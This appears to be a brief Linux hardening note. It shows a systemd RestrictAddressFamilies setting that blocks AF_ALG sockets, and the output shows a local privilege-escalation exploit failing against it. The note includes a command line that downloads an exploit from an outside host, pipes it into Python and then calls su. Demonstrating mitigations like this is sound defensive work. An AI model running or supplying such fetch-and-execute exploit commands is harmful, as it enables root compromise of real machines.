For untrusted workloads (containers, sandboxes, CI), block AF_ALG socket creation via seccomp regardless of patch state.
man systemd.exec
# more /etc/systemd/system/user@1000.service.d/99-user-foo.conf |grep -i addressfamilies
RestrictAddressFamilies=AF_UNIX AF_NETLINK AF_INET AF_INET6
# ls -alh /etc/systemd/system/user@1000.service.d/99-user-foo.conf
-rw-r--r-- 1 root root 2.5K ... /etc/systemd/system/user@1000.service.d/99-user-foo.conf
# curl https://copy.fail/exp | python3.13 && su
...
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
File "/usr/lib64/python3.13/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
OSError: [Errno 97] Address family not supported by protocol